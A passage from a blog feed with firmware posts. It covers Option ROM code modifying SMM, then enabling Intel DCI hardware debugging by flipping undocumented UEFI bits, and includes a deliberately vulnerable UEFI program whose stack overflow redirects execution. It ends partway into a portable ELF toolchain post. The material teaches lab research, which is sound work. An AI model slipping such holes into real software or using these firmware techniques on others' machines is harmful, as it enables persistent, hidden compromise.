  2<span class="k">*</span> : f4a4943f9a6fbe351fe0d96b0894843bcea7fa83 // <span class="o">(</span>changed!<span class="o">)</span> Option ROM Code
  3  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236 // Option ROM Config+Data
  4  : 5a7c6b901aa914083fa625f2e7a37860a79bf7dd // IPL Code
  5  : 696ac3602fd7f434d698180b2a02b15b8deadf4d // IPL Config+Datsa
  6  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236
  7  : 4037336fa7bc0eabe3778fcfff5fcd0ee6adcde3
<span class="o">[</span>...]
  9  : 0b3d418464da7ce0459dc9fc6d72447354a13e1e
<span class="o">[</span>...]
</code></pre></div></div>

<p>Thanks for following along. I would appreciate any feedback and opportunity to improve the article.</p>

<h2 id="next-steps">Next steps</h2>

<p>The following are high-level ‘next steps’ to consider.</p>

<ul>
  <li>Investigate achieving the same results, modifying SMM using Option ROMs, without relaxing security. This means finding a way to bypass deferred execution.</li>
  <li>Investigate how Option ROM loading and execution is different with CSM enabled.</li>
  <li>Use an Option ROM to persist and run code in other ways. The goal would be to functionally tamper the OS execution state without affecting PCR measurements beyond the expected PCR 2 and PCR 3.</li>
  <li>Analyze and study more Option ROM code and use-cases.</li>
  <li>Ideas?</li>
</ul>]]></content><author><name></name></author><category term="uefi" /><category term="firmware" /><summary type="html"><![CDATA[This article explores PCI Expansion ROM (or Option ROM) execution within UEFI and walks through a practical scenario of using Option ROM code to modify SMM. In order to accomplish this goal we relax the security within EDK2. Note that this article does not reveal any security weaknesses. We begin with how to create a QEMU/OVMF/iPXE testing environment that boots Fedora with UEFI Secure Boot enabled and measures the pre-OS environment using a software TPM2. We then install an SMI handler by modifying our iPXE EFI Option ROM, which is the same as a DXE driver run during Boot Device Select (BDS). Finally, we again modify our Option ROM code and overwrite and reliably ‘shim’ an existing SMI’s handler with our own.]]></summary></entry><entry><title type="html">Debug UEFI code by single-stepping your Coffee Lake-S hardware CPU</title><link href="https://theopolis.github.io/blog/2019/6/2/debug-uefi-code-by-single-stepping-your-coffee-lake-s-hardware-cpu" rel="alternate" type="text/html" title="Debug UEFI code by single-stepping your Coffee Lake-S hardware CPU" /><published>2019-06-02T00:00:00+00:00</published><updated>2019-06-02T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2019/6/2/debug-uefi-code-by-single-stepping-your-coffee-lake-s-hardware-cpu</id><content type="html" xml:base="https://theopolis.github.io/blog/2019/6/2/debug-uefi-code-by-single-stepping-your-coffee-lake-s-hardware-cpu"><![CDATA[<p>In the post I will cover:</p>

<ul>
  <li>Configuring an ASRock H370M-ITX/ac to allow DCI DbC debugging</li>
  <li>Using Intel System Studio and System Debugger to single-step a Coffee Lake-S i7-8700 CPU</li>
  <li>Debugging an example exploitable UEFI application on hardware</li>
</ul>

<!--more-->

<h2 id="usb-dci-dbc-debugging-jtag-over-usb3">USB DCI DbC Debugging (JTAG over USB3)</h2>

<p>TL;DR, if you have a newer CPU &amp; chipset you can purchase a $15 off-the-shelf cable and single-step your hardware threads. The cable is a <a href="https://www.datapro.net/products/usb-3-0-super-speed-a-a-debugging-cable.html">USB 3.0 debugging cable</a>; and is similar to an ethernet crossover cable in the sense that the internal wiring is crossed. Be careful with this cable as unsupported machines will have undefined behavior due to the electronics of USB.</p>

<p>Newer Intel CPUs support debugging over USB3 via a proprietary Direct Connection Interface (DCI) with the use of off-the-shelf hardware. This applies to some 6th-generation CPU and chipset combinations, and most 7th-generation and newer setups. I have not found the specific CPU/chipsec combinations but my educated guess from the Core series is as follows:</p>

<ul>
  <li>Kaby Lake / Intel 100 or 200 series SunrisePoint</li>
  <li>Coffee Lake-S / Intel Z370, H370, H310, or B360</li>
  <li>Kaby Lake R / 6th-gen Intel Core</li>
  <li>Whiskey Lake-U (8565U, 8265U, 8145U)</li>
  <li>Coffee Lake-S / H370, H310, B360</li>
</ul>

<p>These combinations should support “DCI USB 3.x Debug Class” debugging. This means you only need the inexpensive debug cable linked above. Note that if debug-cable debugging is not support then a proprietary interposing device is required via a purchase from Intel.</p>

<p>From the documentation I’ve read, the USB3 hardware on a supported machine decodes DCI commands, forwards them to an appropriate hardware module on the target CPU that translates them to JTAG sequences. Intel provides a free-to-use, renewably-licenced, <a href="https://software.intel.com/en-us/system-studio">Intel System Studio</a> and System Debugger software along with a DCI implementation called OpenDCI. This debugging environment is built with Eclipse and supported on macOS, Linux, and Windows. I’ve only found OpenDCI support for DbC-compatible targets on the Windows version.</p>

<p>You will need a Windows 10 install and Intel System Studio if you are following along.</p>

<h2 id="enable-dci-on-the-asrock-h370m-itxac">Enable DCI on the ASRock H370M-ITX/ac</h2>

<p>TL;DR you will need to enable and disable undocumented settings within UEFI by flipping several bits in a UEFI variable.</p>

<p>If you are doing casual research on DCI you will find several references to using a BIOS version with DCI enabled or using a UEFI debug build. I am sure they will be very helpful but it is not possible to acquire this in a general sense. However, we can still follow guidance on “modding” our UEFI to enable DCI. I found <a href="https://gist.github.com/eiselekd/d235b52a1615c79d3c6b3912731ab9b2">eiselekd’s DCI-enable guidance</a> extremely helpful.</p>

<ol>
  <li>Use <a href="https://github.com/chipsec/chipsec">chipsec</a> to dump your SPI contents to disk. e.g., <code class="language-plaintext highlighter-rouge">chipsec_util spi dump rom.bin</code></li>
  <li>Open rom.bin with <a href="https://github.com/LongSoft/UEFITool">UEFITool</a> and extract GUID <code class="language-plaintext highlighter-rouge">899407D7-99FE-43D8-9A21-79EC328CAC21</code> (the Setup UEFI variable).</li>
  <li>Use <a href="https://github.com/LongSoft/Universal-IFR-Extractor/releases">IFRExtractor</a> to print a textual representation of the variable options.</li>
</ol>

<p>The variables settings required for the H370M-ITX/ac are as follows, tested on version 3.10 and 4.00 UEFI releases:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Enable/Disable IED (Intel Enhanced Debug)</code>: offset 0x960, set to enabled 0x1</li>
  <li><code class="language-plaintext highlighter-rouge">CPU Run Control</code>: offset 0x663, set to enabled 0x1</li>
  <li><code class="language-plaintext highlighter-rouge">CPU Run Control Lock</code>: offset 0x664, set to disabled 0x0</li>
  <li><code class="language-plaintext highlighter-rouge">Platform Debug COnnect</code>: offset 0x114F, set to 0x03 to enable DCI DbC</li>
  <li><code class="language-plaintext highlighter-rouge">xDCI Support</code>: offset 0xABD, set to enabled 0x1</li>
</ul>

<p>To modify and save these offsets follow the guidance above to use the UEFI Shell and <a href="https://ruexe.blogspot.com/">RU.efi application by James Wang</a>.</p>

<p>You can confirm that DCI is enabled by reading the USB3 device class label when you connect the debug cable into your host and target machines. The host should have Intel System Studio installed and the target is the H370M-ITC/ac. The host USB driver will read “<code class="language-plaintext highlighter-rouge">Intel USB Native Debug Class Devices</code>” if DCI is enabled. If there is an error you will see “<code class="language-plaintext highlighter-rouge">Port Reset Failed</code>”. An easy way to view the detailed USB device information is with <a href="https://www.uwe-sieber.de/usbtreeview_e.html">USB Tree View</a>. Chipsec will also report <a href="https://github.com/chipsec/chipsec/blob/master/chipsec/modules/debugenabled.py">if DCI is enabled</a> but I found that DbC-specific availability is not reported; so use the USB device driver selection in Windows to confirm the UEFI options are set correctly.</p>

<h2 id="single-stepping-the-i7-8700">Single-stepping the i7-8700</h2>

<p>To recap the requirements and setup:</p>

<ul>
  <li>You have a host machine running Windows 10 with Intel System Studio installed</li>
  <li>The host machine and target i7-8700/H370M-ITX/ac are connected via a USB3 DbC cabled</li>
  <li>The host machine shows a connected “Intel USB Native Debug Class Device” USB device</li>
</ul>

<p>Interrupt the target machine’s boot such that you enter UEFI Setup (press F2). This is not required but it will help while following along with the address space and other layout details. I have not figured out how to halt the CPU on reset with DCI and DbC.</p>

<p>In Intel System Studio you should open System Debugger and configure your target connection to use “<code class="language-plaintext highlighter-rouge">8th Gen Intel Core Processors (Coffee Lake-S) _ Intel H370 Chipset Intel H310 Chipset Intel B360 Chipset for Consumer (Cannon Lake PCH)</code>” using the connection method: “<code class="language-plaintext highlighter-rouge">Intel(R) DCI USB 3.x Debug Class</code>”</p>

<p>Upon success you will see status output similar to the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>22:02:20 [INFO ] TCA - IPConnection: Open Connection, configuration: CFL_CNP_OpenDCI_DBC_Only_ReferenceSettings.
22:02:57 [INFO ] Starting DAL ...
22:02:57 [DAL  ] The system cannot find the batch label specified - SetScriptPath
22:02:58 [DAL  ] Registering MasterFrame...
22:03:00 [DAL  ] Using Intel DAL 1.1905.602.100 
22:03:00 [DAL  ] Using python.exe 2.7.15 (64bit), .NET 2.0.50727.8940, Python.NET 2.0.19, pyreadline 2.1.1
22:03:02 [DAL  ]     Note:    The 'coregroupsactive' control variable has been set to 'GPC'
22:03:10 [DAL  ] Using CFL_CNP_OpenDCI_DBC_Only_ReferenceSettings
22:03:10 [DAL  ] &gt;&gt;? DAL startup completed
22:03:10 [INFO ] Connection Manager: Status change: CONNECTED
    Connection: 8th Gen Intel Core Processors (Coffee Lake-S) _ Intel H370 Chipset Intel H310 Chipset Intel B360 Chipset for Consumer (Cannon Lake PCH)
    Target: 8th Gen Intel Core Processors (Coffee Lake-S) / Intel H370 Chipset, Intel H310 Chipset, Intel B360 Chipset for Consumer (Cannon Lake PCH)
    Connection Method: Intel(R) DCI USB 3.x Debug Class
</code></pre></div></div>

<p>And output similar to the following screen captures:</p>

<p><img src="/assets/images/uefi-single-stepping-1.png" alt="" /></p>

<p><img src="/assets/images/uefi-single-stepping-1-2.png" alt="" /></p>

<p>The connection will also pause the CPU threads and show you the nearby disassembly. If the CPU is not paused and clicking the “pause” button fails you have not enabled DCI completely. For example, if you encounter either, <code class="language-plaintext highlighter-rouge">ExecutionControlUnableToHaltAllException</code>, or <code class="language-plaintext highlighter-rouge">operation not allowed while the processor is in state 'running'</code> then double-check the UEFI Setup variable options.</p>

<p>A successful connection will show a UI similar to the following:</p>

<p><img src="/assets/images/uefi-single-stepping-2.png" alt="" /></p>

<p>And you can now <em>View</em> and inspect memory as well as other common JTAG-debugging features.</p>

<h2 id="debugging-an-example-exploitable-uefi-application-on-hardware">Debugging an example exploitable UEFI application on hardware</h2>

<p>TL;DR this is extremely simple and thus a great toy example, due to the lack of platform runtime security in UEFI and lack of build and compile security in the UEFI development kit (EDK/UDK).</p>

<p>The goal is to build a “toy” vulnerable UEFI application, trigger the exploitation, and observe the behavior within the System Debugger on the connected host. The first step is to configure the <a href="https://github.com/tianocore/edk2">edk2</a> build environment. This is well-documented in several places.</p>

<p>I will modify the <code class="language-plaintext highlighter-rouge">HelloWorld</code> application and replace the <code class="language-plaintext highlighter-rouge">MdeModulePkg/Application/HelloWorld/HelloWorld.c</code> with the following content.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Uefi.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Library/UefiLib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Library/UefiApplicationEntryPoint.h&gt;</span><span class="cp">
</span>
<span class="cp">#include</span> <span class="cpf">&lt;Protocol/LoadedImage.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Library/UefiBootServicesTableLib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Library/MemoryAllocationLib.h&gt;</span><span class="cp">
</span>
<span class="n">VOID</span> <span class="nf">RunAsm</span><span class="p">();</span>

<span class="n">CHAR16</span><span class="o">*</span> <span class="nf">GetArgv</span><span class="p">(</span><span class="n">IN</span> <span class="n">EFI_HANDLE</span> <span class="n">ImageHandle</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">EFI_LOADED_IMAGE</span><span class="o">*</span> <span class="n">li</span><span class="p">;</span>
  <span class="n">EFI_GUID</span> <span class="n">loaded_image_protocol</span> <span class="o">=</span> <span class="n">LOADED_IMAGE_PROTOCOL</span><span class="p">;</span>
  <span class="n">gBS</span><span class="o">-&gt;</span><span class="n">HandleProtocol</span><span class="p">(</span><span class="n">ImageHandle</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">loaded_image_protocol</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span><span class="o">**</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">li</span><span class="p">);</span>

  <span class="n">CHAR16</span><span class="o">*</span> <span class="n">wargv</span> <span class="o">=</span> <span class="p">(</span><span class="n">CHAR16</span> <span class="o">*</span><span class="p">)</span><span class="n">li</span><span class="o">-&gt;</span><span class="n">LoadOptions</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">wargv</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">VOID</span> <span class="nf">RunMe</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">Print</span><span class="p">(</span><span class="s">L"You win</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">RunAsm</span><span class="p">();</span>
<span class="p">}</span>

<span class="n">UINT32</span> <span class="nf">StrLenChar</span><span class="p">(</span><span class="n">CHAR8</span><span class="o">*</span> <span class="n">src</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">UINT32</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">src</span><span class="p">[</span><span class="n">ret</span><span class="o">++</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{}</span>
  <span class="k">return</span> <span class="n">ret</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">VOID</span> <span class="nf">StrCpy</span><span class="p">(</span><span class="n">CHAR8</span><span class="o">*</span> <span class="n">dst</span><span class="p">,</span> <span class="n">CHAR16</span><span class="o">*</span> <span class="n">src</span><span class="p">,</span> <span class="n">UINT32</span> <span class="n">length</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">CHAR8</span> <span class="o">*</span><span class="n">src8</span> <span class="o">=</span> <span class="p">(</span><span class="n">CHAR8</span><span class="o">*</span><span class="p">)</span><span class="n">src</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">UINT32</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">length</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">dst</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">src8</span><span class="p">[(</span><span class="n">i</span><span class="o">*</span><span class="mi">2</span><span class="p">)];</span>
  <span class="p">}</span>

  <span class="n">UINT64</span> <span class="n">loc</span> <span class="o">=</span> <span class="p">(</span><span class="n">UINT64</span><span class="p">)</span><span class="o">&amp;</span><span class="n">RunMe</span><span class="p">;</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="n">loc</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mi">3</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="n">loc</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mi">2</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">7</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="n">loc</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mi">1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
  <span class="n">dst</span><span class="p">[</span><span class="n">length</span> <span class="o">-</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="n">loc</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mi">0</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
<span class="p">}</span>

 <span class="n">__attribute__</span><span class="p">((</span><span class="n">noinline</span><span class="p">))</span> <span class="n">VOID</span>
 <span class="nf">TestBufferOverflow</span><span class="p">(</span><span class="n">CHAR16</span><span class="o">*</span> <span class="n">input</span><span class="p">)</span>
 <span class="p">{</span>
  <span class="cm">/* Test stack buffer overflow */</span>

  <span class="c1">// Compiled with EDKII that auto-adds (-fno-stack-protector)</span>
  <span class="n">CHAR8</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
  <span class="n">StrCpy</span><span class="p">((</span><span class="n">CHAR8</span><span class="o">*</span><span class="p">)</span><span class="n">buffer</span><span class="p">,</span> <span class="n">input</span><span class="p">,</span> <span class="n">StrLen</span><span class="p">(</span><span class="n">input</span><span class="p">));</span>
  <span class="n">buffer</span><span class="p">[</span><span class="n">StrLen</span><span class="p">(</span><span class="n">input</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">EFI_STATUS</span> <span class="n">EFIAPI</span> <span class="nf">UefiMain</span> <span class="p">(</span>
  <span class="n">IN</span> <span class="n">EFI_HANDLE</span>        <span class="n">ImageHandle</span><span class="p">,</span>
  <span class="n">IN</span> <span class="n">EFI_SYSTEM_TABLE</span>  <span class="o">*</span><span class="n">SystemTable</span>
<span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Run with: fs0:X64\HelloWorld.efi A*222</span>

  <span class="n">Print</span><span class="p">(</span><span class="s">L"UefiMain=0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">UefiMain</span><span class="p">);</span>
  <span class="n">CHAR16</span><span class="o">*</span> <span class="n">wargv</span> <span class="o">=</span> <span class="n">GetArgv</span><span class="p">(</span><span class="n">ImageHandle</span><span class="p">);</span>
  <span class="n">UINT32</span> <span class="n">wargv_len</span> <span class="o">=</span> <span class="n">StrLen</span><span class="p">(</span><span class="n">wargv</span><span class="p">);</span>
  <span class="n">TestBufferOverflow</span><span class="p">(</span><span class="n">wargv</span><span class="p">);</span>

  <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The specific build command is</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ . ./edksetup.sh BaseTools
$ build -m MdeModulePkg/Application/HelloWorld/HelloWorld.inf -p MdeModulePkg/MdeModulePkg.dsc
</code></pre></div></div>

<p>And if you would like to test that this runs follow the <a href="https://github.com/tianocore/tianocore.github.io/wiki/How-to-debug-OVMF-with-QEMU-using-GDB">QEMU debugging guide</a> and use:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ qemu-system-x86_64 -bios /usr/share/OVMF/OVMF_PURE_EFI.fd -display none -nodefaults -serial stdio -hda fat:Build/MdeModule/DEBUG_GCC5
</code></pre></div></div>

<p>The code above is a sythethetic stack-based buffer overflow example. It will auto-fill in the overwritten ret address for you. If you want to learn what is happening here please read <a href="https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/">Dhaval’s articles on Buffer Overflows</a>. As a note, we could choose to make this more realistic (e.g., remove the auto-filled <code class="language-plaintext highlighter-rouge">ret</code>) by reading a file into the vulnerable stack variable.</p>

<p>The default edk2 build configuration will compile the overflow into the following flow, where the <code class="language-plaintext highlighter-rouge">StrCpy</code> logic is inlined:</p>

<p><img src="/assets/images/uefi-single-stepping-3.png" alt="" /></p>

<p>Our goal is to copy 0x30 characters into the buffer, overflowing the expected 0x20, the 8 for the saved RBX, and 16 for RSP and RIP; at which point the final 8 will be filled in with the address of <code class="language-plaintext highlighter-rouge">RunMe</code>.</p>

<p>For some fast feedback we’ll print to <code class="language-plaintext highlighter-rouge">ConsoleOut</code> then reset the CPU using:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ASM_GLOBAL ASM_PFX(RunAsm)
ASM_PFX(RunAsm):
    mov $254, %al
    out %al, $100
    ret
</code></pre></div></div>

<p>If a console is not available then this functions well for blind-testing control of rip.</p>

<p>Because we are printing the location of <code class="language-plaintext highlighter-rouge">UefiMain</code> we can both confirm that each time the application is executed the address is constant and know what location to set a hardware breakpoint in System Debugger so we can single-step and watch the overflow.</p>

<p>For my UEFI build this location was <code class="language-plaintext highlighter-rouge">0x600BC69C</code>, which means the <code class="language-plaintext highlighter-rouge">.text</code> is loaded to an offset of <code class="language-plaintext highlighter-rouge">0x600BB000</code> as this subroutine is <code class="language-plaintext highlighter-rouge">0x169C</code>. From here we can add more breakpoints in System Debugger.</p>

<p>For more information about DCI and why you should keep it disabled unless explicitly debugging, please read <a href="assets/D2T4%20-%20Maxim%20Goryachy%20and%20Mark%20Ermalov%20-%20Intel%20DCI%20Secrets.pdf">Intel DCI Secrets</a> from Positive Technologies presented at HITBSecConf 2017.</p>]]></content><author><name></name></author><category term="hardware" /><category term="uefi" /><category term="firmware" /><summary type="html"><![CDATA[In the post I will cover: Configuring an ASRock H370M-ITX/ac to allow DCI DbC debugging Using Intel System Studio and System Debugger to single-step a Coffee Lake-S i7-8700 CPU Debugging an example exploitable UEFI application on hardware]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://theopolis.github.io/assets/images/intel-system-debugger-1.png" /><media:content medium="image" url="https://theopolis.github.io/assets/images/intel-system-debugger-1.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Create highly portable ELF binaries using the build-anywhere toolchain</title><link href="https://theopolis.github.io/blog/2018/12/25/create-highly-portable-elf-binaries-using-the-build-anywhere-toolchain" rel="alternate" type="text/html" title="Create highly portable ELF binaries using the build-anywhere toolchain" /><published>2018-12-25T00:00:00+00:00</published><updated>2018-12-25T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2018/12/25/create-highly-portable-elf-binaries-using-the-build-anywhere-toolchain</id><content type="html" xml:base="https://theopolis.github.io/blog/2018/12/25/create-highly-portable-elf-binaries-using-the-build-anywhere-toolchain"><![CDATA[<p>This post describes the basic requirements for compiling highly portable ELF binaries. Essentially using a newer Linux distro like Ubuntu 18.10 to build complex projects that run on older distros like CentOS 6. The details are limited to C/C++ projects and to x86_64 architectures.</p>

<p>The low-level solution is to use a C++ runtime that requires only glibc 2.13+ runtime linkage and link all third-party libraries as well as the compiler runtime and C++ implementation statically. Do not make a “fully static” binary. You will most likely find a glibc newer than 2.13 on every Linux distribution released since 2011. The high-level solution is to use the <code class="language-plaintext highlighter-rouge">build-anywhere</code> scripts to build a easy-to-use toolchain and set compiler flags.</p>

<!--more-->

<h2 id="what-is-build-anywhere">What is build-anywhere?</h2>

<p>I often find I need to build a set of third-party librarys for an executable I’d like to run on a lot of heterogenious Linux installs. I want a “really really static binary” but know in practice this is hard to acheive.</p>

<p>Introducing ‘<a href="https://github.com/theopolis/build-anywhere">build-anywhere</a>’, a x86_64 compiler and glibc runtime designed to help you build ultra-portable binaries. The <code class="language-plaintext highlighter-rouge">build-anywhere</code> toolchain is new, but it has had intial successes and should not change much beyond stabilization.</p>

<p>There are two bits of magic inside:</p>

<ul>
  <li>Both a static GCC libstdc++ and static LLVM libc++ implementation with C linkage against a glibc 2.13 and zlib 1.2.11.</li>
  <li>Scripts you can source to pick the right CC/CXX/CFLAGS/LDFLAGS options.</li>
</ul>

<p>Quick TL;DR</p>

<ul>
  <li>Download <a href="https://github.com/theopolis/build-anywhere/releases/download/v1/x86_64-anywhere-linux-gnu-v2.tar.xz">x86_64-anywhere-linux-gnu-v2.tar.xz</a> from the GitHub releases page</li>
  <li>Untar and install where ever you want</li>
  <li>Run <code class="language-plaintext highlighter-rouge">source ./x86_64-anywhere-linux-gnu/scripts/anywhere-setup-security.sh</code></li>
  <li>Build your third-party libraries and <code class="language-plaintext highlighter-rouge">make install</code></li>
  <li>Build you project</li>
  <li>Check your work with <code class="language-plaintext highlighter-rouge">willitrun</code></li>
</ul>

<p>In practice your third-party dependencies will install shared libraries and your final project will want to link those dispite your efforts to configure the build. You can “cheat” this by removing the shared libraries installed into the <code class="language-plaintext highlighter-rouge">build-anywhere</code> prefix.</p>

<h2 id="a-few-examples">A few examples</h2>

<p>I have installed my anywhere runtime into <code class="language-plaintext highlighter-rouge">/opt/rt</code>. After sourcing the above script, some of my environment variables change.</p>

<p>The goal is now to work with a few library build systems so they pick up these variables and install static libraries into <code class="language-plaintext highlighter-rouge">$PREFIX</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">source</span> ./x86_64-anywhere-linux-gnu/scripts/anywhere-setup-security.sh
<span class="nv">$ </span><span class="nb">env</span> | <span class="nb">grep </span>anywhere
<span class="nv">PATH</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin:/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/sbin:...
<span class="nv">CC</span><span class="o">=</span>clang <span class="nt">--gcc-toolchain</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu <span class="nt">--sysroot</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot
<span class="nv">CXX</span><span class="o">=</span>clang++ <span class="nt">--gcc-toolchain</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu <span class="nt">--sysroot</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot
<span class="nv">CONFIG_SITE</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/config.site
<span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/lib/pkgconfig
<span class="nv">LIBRARY_PATH</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/lib
<span class="nv">CFLAGS</span><span class="o">=</span><span class="nt">--gcc-toolchain</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu <span class="nt">--sysroot</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot <span class="nt">-march</span><span class="o">=</span>x86-64 <span class="nt">-fPIC</span> <span class="nt">-fPIE</span> <span class="nt">-fstack-protector-all</span> <span class="nt">-fsanitize</span><span class="o">=</span>safe-stack
<span class="nv">CXXFLAGS</span><span class="o">=</span><span class="nt">--gcc-toolchain</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu <span class="nt">--sysroot</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot <span class="nt">-march</span><span class="o">=</span>x86-64 <span class="nt">-fPIC</span> <span class="nt">-fPIE</span> <span class="nt">-fstack-protector-all</span> <span class="nt">-fsanitize</span><span class="o">=</span>safe-stack <span class="nt">-stdlib</span><span class="o">=</span>libc++
<span class="nv">PREFIX</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr
</code></pre></div></div>

<p>What does all of this mean?</p>

<ul>
  <li>Auto tools, CMake, and other build configuration managers will usually respect the environment’s <code class="language-plaintext highlighter-rouge">CC</code>, <code class="language-plaintext highlighter-rouge">CXX</code>, <code class="language-plaintext highlighter-rouge">CFLAGS</code>, <code class="language-plaintext highlighter-rouge">CXXFLAGS</code>, and <code class="language-plaintext highlighter-rouge">LDFLAGS</code> settings</li>
  <li>If <code class="language-plaintext highlighter-rouge">pkg-config</code> is needed, it should prefer configurations in your <code class="language-plaintext highlighter-rouge">build-anywhere</code> runtime.</li>
  <li>The “prefix” that packages should install into is available as <code class="language-plaintext highlighter-rouge">$PREFIX</code>.</li>
</ul>

<p>A lot of things can go wrong here. Off the top of my head, <code class="language-plaintext highlighter-rouge">CPPFLAGS</code> is not set, <code class="language-plaintext highlighter-rouge">AS</code> and other assembler flags are not set, you will most likely get duplicate-flag or unused-flag warnings, nothing controls package preference for static or shared library usage or production.</p>

<p>Never-the-less, let’s jump in and build <code class="language-plaintext highlighter-rouge">ssdeep</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget https://github.com/ssdeep-project/ssdeep/releases/download/release-2.14.1/ssdeep-2.14.1.tar.gz
<span class="nv">$ </span><span class="nb">tar </span>xf ssdeep-2.14.1.tar.gz
<span class="nv">$ </span><span class="nb">cd </span>ssdeep-2.14.1
